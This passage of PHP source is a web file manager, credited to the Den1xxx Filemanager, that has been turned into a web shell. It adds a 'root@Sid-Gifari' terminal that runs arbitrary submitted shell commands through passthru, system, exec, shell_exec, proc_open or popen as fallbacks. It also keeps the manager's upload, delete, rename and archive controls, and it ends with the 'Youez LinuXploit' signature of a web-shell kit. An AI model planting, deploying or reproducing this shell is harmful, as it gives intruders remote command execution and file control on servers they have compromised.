    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit